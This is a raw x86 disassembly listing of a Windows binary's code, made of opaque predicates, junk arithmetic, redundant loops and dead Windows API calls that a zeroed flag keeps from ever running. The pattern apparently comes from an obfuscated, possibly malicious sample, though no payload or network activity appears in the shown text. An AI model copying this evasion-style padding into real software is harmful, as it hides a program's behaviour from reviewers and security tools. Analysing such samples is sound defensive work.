mov dword [ebp - 0xd30], 0
mov dword [ebp - 0x2190], 0xe55b65ab
mov dword [ebp - 0x3f0], 0
jmp 0x4637c3
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 0x11
je 0x463942
push 2
lea ecx, [ebp - 0x1e98]
call fcn.0042ec30
mov dword [ebp - 0x7b8], 0
jmp 0x4637f6
mov eax, dword [ebp - 0x7b8]
inc eax
mov dword [ebp - 0x7b8], eax
cmp dword [ebp - 0x7b8], 2
jge 0x463818
push dword [ebp - 0x7b8]
lea ecx, [ebp - 0x1e98]
call fcn.0042ed1e
mov dword [eax], 0xc218
jmp 0x4637e9
mov esi, dword [ebp - 0x3f0]
push 0
lea ecx, [ebp - 0x1e98]
call fcn.0042ed1e
mov eax, dword [eax]
add eax, 0xfff7
imul esi, eax
test esi, esi
jne 0x463845
mov dword [ebp - 0x2188], 1
jmp 0x46384c
and dword [ebp - 0x2188], 0
push 1
lea ecx, [ebp - 0x1e98]
call fcn.0042ed1e
mov eax, dword [ebp - 0xa8]
inc eax
cmp eax, dword [ebp - 0x3f0]
jg 0x463874
mov dword [ebp - 0x1900], 1
jmp 0x46387b
and dword [ebp - 0x1900], 0
cmp dword [ebp - 0x1900], 1
jl 0x463890
mov dword [ebp - 0xd20], 1
jmp 0x463897
and dword [ebp - 0xd20], 0
push 0
lea ecx, [ebp - 0x1e98]
call fcn.0042ed1e
mov eax, dword [eax]
imul ecx, dword [ebp - 0xd20], 0xfffffff9
imul ecx, ecx, 0x84b7
lea esi, [ecx + eax*2]
push 0
lea ecx, [ebp - 0x1e98]
call fcn.0042ed1e
cmp esi, dword [eax]
jge 0x4638d3
mov dword [ebp - 0x1908], 1
jmp 0x4638da
and dword [ebp - 0x1908], 0
mov eax, dword [ebp - 0xd30]
cmp dword [ebp - 0x1908], eax
jl 0x4638fd
mov eax, 0xb30477ae
test eax, eax
jne 0x4638fd
mov dword [ebp - 0xd28], 1
jmp 0x463904
and dword [ebp - 0xd28], 0
cmp dword [ebp - 0xd28], 0
jae 0x463919
mov dword [ebp - 0x1910], 1
jmp 0x463920
and dword [ebp - 0x1910], 0
mov eax, dword [ebp - 0x1910]
sub eax, dword [ebp - 0xd30]
mov dword [ebp - 0x2190], eax
lea ecx, [ebp - 0x1e98]
call fcn.0042ed02
jmp 0x4637b6
jmp 0x463772
mov dword [ebp - 0x19c8], 0x99314e76
mov dword [ebp - 0x58c], 0x7f6af112
mov dword [ebp - 0x2198], 0xfffffff8
mov dword [ebp - 0x58c], 0x11
jmp 0x46397e
mov eax, dword [ebp - 0x58c]
dec eax
mov dword [ebp - 0x58c], eax
cmp dword [ebp - 0x58c], 0xa
jl 0x4639ad
mov byte [ebp - 0x305], 0
movzx eax, byte [ebp - 0x305]
test eax, eax
je 0x4639a1
push 0
call dword [sym.imp.USER32.dll_ShowCursor]
mov dword [ebp - 0x2198], 0xffffffff
jmp 0x463971
mov byte [ebp - 0x21d], 0
movzx eax, byte [ebp - 0x21d]
test eax, eax
je 0x4639cf
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
mov dword [ebp - 0xde8], 0
mov dword [ebp - 0xe8], 0xe0a8eac8
mov byte [ebp - 0x345], 0
movzx eax, byte [ebp - 0x345]
test eax, eax
je 0x463a13
push 1
push 0x151e
push 0x3d7
push 0x1287
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollRange]
mov dword [ebp - 0xe8], 0xb
jmp 0x463a2c
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x15
jne 0x463b9d
mov dword [ebp - 0x254], 0x597a61ee
mov dword [ebp - 0xd40], 6
mov dword [ebp - 0x21a8], 0xfffffffa
cmp dword [ebp - 0x254], 0
je 0x463a75
cmp dword [ebp - 0x254], 0
je 0x463a75
mov dword [ebp - 0x1918], 1
jmp 0x463a7c
and dword [ebp - 0x1918], 0
mov eax, dword [ebp - 0x254]
cmp eax, dword [ebp - 0x1918]
jge 0x463a96
mov dword [ebp - 0xd38], 1
jmp 0x463a9d
and dword [ebp - 0xd38], 0
cmp dword [ebp - 0xd38], 0xffff
jae 0x463abe
mov eax, 0xcc9c
test eax, eax
je 0x463abe
mov dword [ebp - 0x1920], 1
jmp 0x463ac5
and dword [ebp - 0x1920], 0
imul eax, dword [ebp - 0x1920], 0x191b
mov dword [ebp - 0xd40], eax
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0xd40], eax
jne 0x463aef
mov dword [ebp - 0x1928], 1
jmp 0x463af6
and dword [ebp - 0x1928], 0
push 0xfffffffffffffffd
pop eax
sub eax, dword [ebp - 0x254]
cmp eax, dword [ebp - 0x1928]
jge 0x463b13
mov dword [ebp - 0x21a0], 1
jmp 0x463b1a
and dword [ebp - 0x21a0], 0
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0x28b8], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x28c0], eax
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0x28c8], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x28d0], eax
mov eax, dword [ebp - 0x254]
cmp dword [ebp - 0xe8], eax
jge 0x463b64
mov dword [ebp - 0xd48], 1
jmp 0x463b6b
and dword [ebp - 0xd48], 0
mov eax, dword [ebp - 0xe8]
cmp eax, dword [ebp - 0xd48]
jne 0x463b85
mov dword [ebp - 0x1930], 1
jmp 0x463b8c
and dword [ebp - 0x1930], 0
mov eax, dword [ebp - 0x1930]
mov dword [ebp - 0x21a8], eax
jmp 0x463a1f
mov dword [ebp - 0xdf8], 0x9c089ced
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0x708], 0
jmp 0x463bca
mov eax, dword [ebp - 0x708]
inc eax
mov dword [ebp - 0x708], eax
cmp dword [ebp - 0x708], 2
jge 0x463be6
mov eax, dword [ebp - 0x708]
mov dword [ebp + eax*4 - 0x51c], 0x167f
jmp 0x463bbd
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x51c]
cmp dword [ebp + eax - 0x51c], ecx
jge 0x463c0e
mov dword [ebp - 0xd50], 1
jmp 0x463c15
and dword [ebp - 0xd50], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x51c]
imul eax, dword [ebp - 0xd50]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x51c]
jl 0x463c44
mov dword [ebp - 0x1938], 1
jmp 0x463c4b
and dword [ebp - 0x1938], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x51c]
cmp dword [ebp - 0x1938], eax
jge 0x463c6c
mov dword [ebp - 0xd58], 1
jmp 0x463c73
and dword [ebp - 0xd58], 0
push 4
pop eax
imul eax, eax, 0
imul eax, dword [ebp + eax - 0x51c], 0x8974
imul eax, dword [ebp - 0xd58]
cmp eax, 0xffffffff
je 0x463c9c
mov dword [ebp - 0x1940], 1
jmp 0x463ca3
and dword [ebp - 0x1940], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x51c]
add eax, dword [ebp - 0x1940]
je 0x463e74
mov dword [ebp - 0x25c], 0x78f4f823
mov dword [ebp - 0x25c], 1
jmp 0x463cdf
mov eax, dword [ebp - 0x25c]
dec eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0
jl 0x463e72
push 1
lea ecx, [ebp - 0x1eb0]
call fcn.0042ec30
mov dword [ebp - 0x21b0], 0xf3b06d9e
mov dword [ebp - 0x594], 0
jmp 0x463d1c
mov eax, dword [ebp - 0x594]
inc eax
mov dword [ebp - 0x594], eax
cmp dword [ebp - 0x594], 1
jge 0x463d3e
push dword [ebp - 0x594]
lea ecx, [ebp - 0x1eb0]
call fcn.0042ed1e
mov dword [eax], 0x3dc9
jmp 0x463d0f
push 0
lea ecx, [ebp - 0x1eb0]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x463d60
lea ecx, [ebp - 0x1eb0]
call fcn.0042ed02
jmp 0x463e72
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x51c], 0
je 0x463d8c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x51c], 0
je 0x463d8c
mov dword [ebp - 0xd60], 1
jmp 0x463d93
and dword [ebp - 0xd60], 0
mov eax, dword [ebp - 0x25c]
imul eax, dword [ebp - 0xd60]
test eax, eax
je 0x463dab
push 0xfffffffffffffffd
pop eax
test eax, eax
jne 0x463dbb
push 0xfffffffffffffff7
pop eax
test eax, eax
jne 0x463dbb
and dword [ebp - 0x1948], 0
jmp 0x463dc5
mov dword [ebp - 0x1948], 1
push 0
lea ecx, [ebp - 0x1eb0]
call fcn.0042ed1e
mov eax, dword [eax]
sub eax, dword [ebp - 0x1948]
mov dword [ebp - 0x4a4], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x51c]
cmp dword [ebp - 0x25c], eax
je 0x463e01
mov dword [ebp - 0xd68], 1
jmp 0x463e08
and dword [ebp - 0xd68], 0
push 0
lea ecx, [ebp - 0x1eb0]
call fcn.0042ed1e
mov ecx, dword [ebp - 0xd68]
cmp ecx, dword [eax]
je 0x463e2b
mov dword [ebp - 0x1950], 1
jmp 0x463e32
and dword [ebp - 0x1950], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x1950]
cmp dword [ebp - 0x25c], eax
je 0x463e4f
mov dword [ebp - 0xd70], 1
jmp 0x463e56
and dword [ebp - 0xd70], 0
mov eax, dword [ebp - 0xd70]
mov dword [ebp - 0x21b0], eax
lea ecx, [ebp - 0x1eb0]
call fcn.0042ed02
jmp 0x463cd2
jmp 0x463ed8
mov dword [ebp - 0x4a4], 1
jmp 0x463e8d
mov eax, dword [ebp - 0x4a4]
dec eax
mov dword [ebp - 0x4a4], eax
cmp dword [ebp - 0x4a4], 0
jl 0x463ed8
mov byte [ebp - 0x21f], 0
movzx eax, byte [ebp - 0x21f]
test eax, eax
je 0x463ed6
push 0
push 0x1d60
push 0
push 0
push 0x32a
push 0x26ac
push 0x15f5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
jmp 0x463e80
mov dword [ebp - 0x444], 0xfffffffd
mov dword [ebp - 0x28d8], 1
mov dword [ebp - 0x28e0], 2
mov dword [ebp - 0xa64], 0x37b04800
mov dword [ebp - 0x1968], 3
mov dword [ebp - 0x21b8], 0xd7839892
mov dword [ebp - 0x28e8], 0xfbb6bc3e
mov dword [ebp - 0x21c8], 0x38330377
mov dword [ebp - 0x21c0], 0xffffffff
mov dword [ebp - 0x8f4], 8
mov dword [ebp - 0xd78], 0xd8ef068c
mov dword [ebp - 0x21e0], 1
mov dword [ebp - 0x28f0], 0x33ee6768
push 4
lea ecx, [ebp - 0x2c24]
call fcn.0042ec30
mov dword [ebp - 0x21d8], 0xffffffff
mov dword [ebp - 0x810], 0
jmp 0x463f8a
mov eax, dword [ebp - 0x810]
inc eax
mov dword [ebp - 0x810], eax
cmp dword [ebp - 0x810], 4
jge 0x463fac
push dword [ebp - 0x810]
lea ecx, [ebp - 0x2c24]
call fcn.0042ed1e
mov dword [eax], 0xef339200
jmp 0x463f7d
mov dword [ebp - 0x444], 0
jmp 0x463fc5
mov eax, dword [ebp - 0x444]
inc eax
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 0x10
jl 0x4640bc
mov dword [ebp - 0x28f8], 0x72159124
mov dword [ebp - 0x2900], 1
mov dword [ebp - 0x2908], 0xfffffff8
mov dword [ebp - 0x2910], 0xfffffffd
mov dword [ebp - 0x2918], 0x5969a22d
mov dword [ebp - 0x2920], 0x78c38ec3
mov dword [ebp - 0x2928], 0xfffffff8
mov dword [ebp - 0x2930], 0x86aeba4d
mov dword [ebp - 0x2938], 0xfffffff7
mov dword [ebp - 0x2940], 0x876a47cd
mov dword [ebp - 0x1958], 0x3281
mov dword [ebp - 0x174], 0
jmp 0x464059
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 3
jge 0x464075
mov eax, dword [ebp - 0x174]
mov dword [ebp + eax*4 - 0x3050], 2
jmp 0x46404c
mov dword [ebp - 0x174], 0
jmp 0x46408e
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 1
jge 0x4640aa
mov eax, dword [ebp - 0x174]
mov dword [ebp + eax*4 - 0x2948], 0xffffffff
jmp 0x464081
mov eax, dword [ebp - 0x1958]
inc eax
mov dword [ebp - 0x1958], eax
jmp 0x463fb8
mov dword [ebp - 0x21b8], 2
mov eax, dword [ebp - 0x21c0]
mov dword [ebp - 0xd78], eax
mov eax, dword [ebp - 0xd78]
add eax, dword [ebp - 0x21c8]
cmp dword [ebp - 0xa64], eax
jle 0x4640f2
mov dword [ebp - 0x1960], 1
jmp 0x4640f9
and dword [ebp - 0x1960], 0
mov eax, dword [ebp - 0x8f4]
cmp eax, dword [ebp - 0x1960]
jge 0x464113
mov dword [ebp - 0xd80], 1
jmp 0x46411a
and dword [ebp - 0xd80], 0
mov eax, dword [ebp - 0xd80]
mov dword [ebp - 0xa64], eax
cmp dword [ebp - 0xa64], 0
je 0x46414d
mov eax, 0x70c387c7
test eax, eax
je 0x46414d
cmp dword [ebp - 0x444], 0
je 0x46414d
mov dword [ebp - 0x21d0], 1
jmp 0x464154
and dword [ebp - 0x21d0], 0
mov eax, dword [ebp - 0x1968]
mov dword [ebp - 0x2950], eax
mov eax, dword [ebp - 0x1968]
mov dword [ebp - 0x2958], eax
mov eax, dword [ebp - 0x21d8]
mov dword [ebp - 0x8f4], eax
cmp dword [ebp - 0x8f4], 0
jne 0x46418f
or eax, 0xffffffff
jne 0x46418f
and dword [ebp - 0xd88], 0
jmp 0x464199
mov dword [ebp - 0xd88], 1
mov eax, dword [ebp - 0xd88]
mov dword [ebp - 0x21e0], eax
lea ecx, [ebp - 0x2c24]
call fcn.0042ed02
mov dword [ebp - 0x2960], 1
mov dword [ebp - 0x2968], 1
mov dword [ebp - 0x2970], 0x50bf34fd
mov dword [ebp - 0x2978], 0
mov dword [ebp - 0x24f8], 0
mov dword [ebp - 0x24f4], 0
mov dword [ebp - 0x24f0], 0
mov dword [ebp - 0x24ec], 0
mov dword [ebp - 0x2980], 8
mov dword [ebp - 0x59c], 0
jmp 0x464223
mov eax, dword [ebp - 0x59c]
inc eax
mov dword [ebp - 0x59c], eax
cmp dword [ebp - 0x59c], 2
jge 0x46423f
mov eax, dword [ebp - 0x59c]
mov dword [ebp + eax*4 - 0x2fd4], 0x68876942
jmp 0x464216
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x24f8]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x24f8], eax
mov byte [ebp - 0x30d], 0
movzx eax, byte [ebp - 0x30d]
test eax, eax
je 0x46427b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
mov dword [ebp - 0x710], 0
jmp 0x464294
mov eax, dword [ebp - 0x710]
inc eax
mov dword [ebp - 0x710], eax
cmp dword [ebp - 0x710], 3
jge 0x4642b0
mov eax, dword [ebp - 0x710]
mov dword [ebp + eax*4 - 0x2f28], 1
jmp 0x464287
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x264], 0
mov dword [ebp - 0x1978], 0
mov dword [ebp - 0x5a4], 1
mov dword [ebp - 0xdc8], 0
mov dword [ebp - 0x260c], 1
mov dword [ebp - 0x2608], 1
mov dword [ebp - 0x2604], 1
mov dword [ebp - 0x2600], 1
lea ecx, [ebp - 0x9a5]
call fcn.0042ed2d
push eax
lea eax, [ebp - 0x25fc]
push eax
lea eax, [ebp - 0x260c]
push eax
lea ecx, [ebp - 0x2fb4]
call fcn.0042ed30
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2c34]
call fcn.0042ecdc
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2988], eax
cmp dword [ebp - 0x264], 0
jne 0x464354
cmp dword [ebp - 0x20], 0
je 0x464366
cmp dword [ebp - 0x20], 0
je 0x464366
mov dword [ebp - 0x1970], 1
jmp 0x46436d
and dword [ebp - 0x1970], 0
mov eax, dword [ebp - 0x264]
add eax, dword [ebp - 0x1970]
imul eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
jg 0x46438e
mov dword [ebp - 0xd90], 1
jmp 0x464395
and dword [ebp - 0xd90], 0
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0xd90]
mov dword [ebp - 0x1978], eax
cmp dword [ebp - 0x1978], 0
jbe 0x4643ba
mov dword [ebp - 0xd98], 1
jmp 0x4643c1
and dword [ebp - 0xd98], 0
mov eax, dword [ebp - 0xd98]
mov dword [ebp - 0x5a4], eax
mov eax, dword [ebp - 0x5a4]
mov dword [ebp - 0x2990], eax
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x2998], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x29a0], eax
cmp dword [ebp - 0x5a4], 0
jne 0x464409
cmp dword [ebp - 0x5a4], 0
jne 0x464409
and dword [ebp - 0x1980], 0
jmp 0x464413
mov dword [ebp - 0x1980], 1
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x1980], eax
jg 0x46442a
mov dword [ebp - 0xda0], 1
jmp 0x464431
and dword [ebp - 0xda0], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xda0], eax
jl 0x464448
mov dword [ebp - 0x1988], 1
jmp 0x46444f
and dword [ebp - 0x1988], 0
cmp dword [ebp - 0x1988], 4
jae 0x464464
mov dword [ebp - 0xda8], 1
jmp 0x46446b
and dword [ebp - 0xda8], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xda8], eax
jg 0x464482
mov dword [ebp - 0x1990], 1
jmp 0x464489
and dword [ebp - 0x1990], 0
mov eax, dword [ebp - 0x264]
cmp dword [ebp - 0x1990], eax
jge 0x4644a3
mov dword [ebp - 0xdb0], 1
jmp 0x4644aa
and dword [ebp - 0xdb0], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xdb0], eax
jg 0x4644c1
mov dword [ebp - 0x1998], 1
jmp 0x4644c8
and dword [ebp - 0x1998], 0
cmp dword [ebp - 0x1998], 3
jbe 0x4644dd
mov dword [ebp - 0xdb8], 1
jmp 0x4644e4
and dword [ebp - 0xdb8], 0
mov eax, dword [ebp - 0x264]
cmp dword [ebp - 0xdb8], eax
jle 0x4644fe
mov dword [ebp - 0x19a0], 1
jmp 0x464505
and dword [ebp - 0x19a0], 0
imul eax, dword [ebp - 0x19a0], 7
cmp eax, dword [ebp - 0x20]
jg 0x46451d
mov dword [ebp - 0xdc0], 1
jmp 0x464524
and dword [ebp - 0xdc0], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xdc0], eax
jge 0x46453b
mov dword [ebp - 0x19a8], 1
jmp 0x464542
and dword [ebp - 0x19a8], 0
mov eax, dword [ebp - 0x19a8]
mov dword [ebp - 0xdc8], eax
mov eax, dword [ebp - 0xdc8]
mov dword [ebp - 0x29a8], eax
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x29b0], eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x264], eax
jge 0x46457d
mov dword [ebp - 0x19b0], 1
jmp 0x464584
and dword [ebp - 0x19b0], 0
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x19b0]
cmp eax, 0xffffffff
ja 0x46459e
mov dword [ebp - 0xdd0], 1
jmp 0x4645a5
and dword [ebp - 0xdd0], 0
push 0
lea ecx, [ebp - 0x2c34]
call fcn.0042ed1e
mov ecx, dword [ebp - 0xdd0]
mov dword [eax], ecx
mov byte [ebp - 0x221], 0
movzx eax, byte [ebp - 0x221]
test eax, eax
je 0x4645da
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
lea ecx, [ebp - 0x2c34]
call fcn.0042ed02
cmp dword [ebp - 0x78], 0
jne 0x46467a
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x29b8], eax
cmp dword [ebp - 0x78], 2
jg 0x46460a
mov dword [ebp - 0x19b8], 1
jmp 0x464611
and dword [ebp - 0x19b8], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x19b8], eax
jl 0x464628
mov dword [ebp - 0xdd8], 1
jmp 0x46462f
and dword [ebp - 0xdd8], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0xdd8], eax
jge 0x46464c
mov eax, 0x12e75507
test eax, eax
jne 0x46464c
and dword [ebp - 0x21e8], 0
jmp 0x464656
mov dword [ebp - 0x21e8], 1
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x29c0], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x29c8], eax
cmp dword [ebp - 0x378], 0
je 0x46468f
cmp dword [ebp - 0x78], 0
je 0x46468f
mov eax, 0x415051ac
test eax, eax
je 0x46468f
mov dword [ebp - 0x19c0], 1
jmp 0x464696
and dword [ebp - 0x19c0], 0
mov eax, dword [ebp - 0x378]
cmp eax, dword [ebp - 0x19c0]
jg 0x4646b0
mov dword [ebp - 0xde0], 1
jmp 0x4646b7
and dword [ebp - 0xde0], 0
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x29d0], eax
mov eax, dword [ebp - 0xde0]
mov dword [ebp - 0x19c8], eax
mov eax, dword [ebp - 0x19c8]
mov dword [ebp - 0xde8], eax
mov eax, dword [ebp - 0xde8]
mov dword [ebp - 0x29d8], eax
mov eax, dword [ebp - 0xdf8]
mov dword [ebp - 0x29e0], eax
xor eax, eax
jne 0x464709
cmp dword [ebp - 0x378], 0
jne 0x464709
and dword [ebp - 0x19d0], 0
jmp 0x464713
mov dword [ebp - 0x19d0], 1
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x19d0], eax
jne 0x46472a
mov dword [ebp - 0xdf0], 1
jmp 0x464731
and dword [ebp - 0xdf0], 0
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xdf0]
neg ecx
imul eax, ecx
cmp eax, dword [ebp - 0x78]
jle 0x464750
mov dword [ebp - 0x19d8], 1
jmp 0x464757
and dword [ebp - 0x19d8], 0
mov eax, dword [ebp - 0x378]
cmp dword [ebp - 0x19d8], eax
je 0x464771
mov dword [ebp - 0x19e0], 1
jmp 0x464778
and dword [ebp - 0x19e0], 0
mov eax, dword [ebp - 0xdf8]
cmp dword [ebp - 0x19e0], eax
jge 0x464792
cmp dword [ebp + 8], 1
jne 0x46dff9
mov dword [ebp - 0x188], 0xfffffffd
mov dword [ebp - 0x4cc], 0
mov dword [ebp - 0x1d8], 0xfffffffb
mov dword [ebp - 0x188], 0xffffffe9
jmp 0x46a91d
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0x19
jl 0x46ad56
mov dword [ebp - 0x140], 0xf023
mov dword [ebp - 0x2bc], 0xfffffffc
mov dword [ebp - 0xaa8], 0xffffffff
mov dword [ebp - 0x127c], 0x857289c0
mov dword [ebp - 0x1fdc], 0xfffffff7
cmp dword [ebp - 0x140], 0
jne 0x46aa4f
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x2d90], eax
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x2d98], eax
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x4cc], eax
cmp dword [ebp - 0x4cc], 0xffffffff
jl 0x46a9a8
cmp dword [ebp - 0x140], 0
jne 0x46a9a8
and dword [ebp - 0x1fd4], 0
jmp 0x46a9b2
mov dword [ebp - 0x1fd4], 1
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x2da0], eax
mov eax, dword [ebp - 0x2bc]
cmp dword [ebp - 0x188], eax
jge 0x46a9d8
mov dword [ebp - 0x1cd4], 1
jmp 0x46a9df
and dword [ebp - 0x1cd4], 0
mov eax, dword [ebp - 0x140]
cmp dword [ebp - 0x1cd4], eax
jge 0x46aa02
cmp dword [ebp - 0x4cc], 0
je 0x46aa02
mov dword [ebp - 0x126c], 1
jmp 0x46aa09
and dword [ebp - 0x126c], 0
mov eax, dword [ebp - 0x140]
cmp eax, dword [ebp - 0x126c]
jne 0x46aa23
mov dword [ebp - 0x185c], 1
jmp 0x46aa2a
and dword [ebp - 0x185c], 0
cmp dword [ebp - 0x185c], 0
jne 0x46aa45
cmp dword [ebp - 0x140], 0
jne 0x46aa45
and dword [ebp - 0x1274], 0
jmp 0x46aa4f
mov dword [ebp - 0x1274], 1
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0xaa8], eax
cmp dword [ebp - 0xaa8], 0x9e63
jge 0x46aa73
mov dword [ebp - 0x1b54], 1
jmp 0x46aa7a
and dword [ebp - 0x1b54], 0
mov eax, dword [ebp - 0x1b54]
mov dword [ebp - 0x127c], eax
mov eax, dword [ebp - 0x188]
cmp dword [ebp - 0x127c], eax
jge 0x46aaa0
mov dword [ebp - 0x1864], 1
jmp 0x46aaa7
and dword [ebp - 0x1864], 0
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0x1864], eax
je 0x46aac1
mov dword [ebp - 0x1284], 1
jmp 0x46aac8
and dword [ebp - 0x1284], 0
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0x1284], eax
jg 0x46aae2
mov dword [ebp - 0x1d94], 1
jmp 0x46aae9
and dword [ebp - 0x1d94], 0
mov eax, dword [ebp - 0x2bc]
cmp dword [ebp - 0x1d94], eax
je 0x46ab04
cmp dword [ebp - 0x2bc], 0
je 0x46abe6
push 3
lea ecx, [ebp - 0x2c94]
call fcn.0042ec30
mov dword [ebp - 0x770], 0
jmp 0x46ab2a
mov eax, dword [ebp - 0x770]
inc eax
mov dword [ebp - 0x770], eax
cmp dword [ebp - 0x770], 3
jge 0x46ab4c
push dword [ebp - 0x770]
lea ecx, [ebp - 0x2c94]
call fcn.0042ed1e
mov dword [eax], 0xfffffffc
jmp 0x46ab1d
mov dword [ebp - 0x1d8], 0
jmp 0x46ab65
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 2
jg 0x46aba9
mov byte [ebp - 0x340], 0
movzx eax, byte [ebp - 0x340]
test eax, eax
je 0x46aba7
push 0xf8d
push 0
push 0x5ea
push 0x19b0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
jmp 0x46ab58
mov eax, dword [ebp - 0x4cc]
cmp dword [ebp - 0x188], eax
jge 0x46abc3
mov dword [ebp - 0x128c], 1
jmp 0x46abca
and dword [ebp - 0x128c], 0
mov eax, dword [ebp - 0x128c]
mov dword [ebp - 0x4cc], eax
lea ecx, [ebp - 0x2c94]
call fcn.0042ed02
jmp 0x46ad51
mov dword [ebp - 0x230c], 0xbb31
mov dword [ebp - 0x664], 0
jmp 0x46ac09
mov eax, dword [ebp - 0x664]
inc eax
mov dword [ebp - 0x664], eax
cmp dword [ebp - 0x664], 2
jge 0x46ac25
mov eax, dword [ebp - 0x664]
mov dword [ebp + eax*4 - 0x2528], 1
jmp 0x46abfc
cmp dword [ebp - 0x230c], 0
jne 0x46ac3a
mov dword [ebp - 0x186c], 1
jmp 0x46ac41
and dword [ebp - 0x186c], 0
mov eax, dword [ebp - 0x1fdc]
cmp eax, dword [ebp - 0x186c]
jg 0x46ac5b
mov dword [ebp - 0x1294], 1
jmp 0x46ac62
and dword [ebp - 0x1294], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1294]
mov dword [ebp + eax - 0x2528], ecx
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x2da8], eax
cmp dword [ebp - 0x140], 1
jne 0x46ac96
mov dword [ebp - 0x1b5c], 1
jmp 0x46ac9d
and dword [ebp - 0x1b5c], 0
mov eax, 0x760e
sub eax, dword [ebp - 0x2bc]
imul ecx, dword [ebp - 0x1b5c], 5
cmp eax, ecx
jg 0x46acc8
cmp dword [ebp - 0x188], 0
je 0x46acc8
mov dword [ebp - 0x129c], 1
jmp 0x46accf
and dword [ebp - 0x129c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x129c]
neg ecx
cmp dword [ebp + eax - 0x2528], ecx
jle 0x46acf2
mov dword [ebp - 0x1874], 1
jmp 0x46acf9
and dword [ebp - 0x1874], 0
mov eax, dword [ebp - 0x2bc]
cmp dword [ebp - 0x1874], eax
jg 0x46ad13
mov dword [ebp - 0x218c], 1
jmp 0x46ad1a
and dword [ebp - 0x218c], 0
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x2db0], eax
cmp dword [ebp - 0x140], 0x9709
je 0x46ad3e
mov dword [ebp - 0x12a4], 1
jmp 0x46ad45
and dword [ebp - 0x12a4], 0
mov eax, dword [ebp - 0x12a4]
mov dword [ebp - 0xaa8], eax
jmp 0x46a910
mov dword [ebp - 0x37c], 0x8a61928c
mov dword [ebp - 0x1fe4], 0xd193
mov dword [ebp - 0x2db8], 0x29edca8f
mov dword [ebp - 0x37c], 9
jmp 0x46ad8d
mov eax, dword [ebp - 0x37c]
dec eax
mov dword [ebp - 0x37c], eax
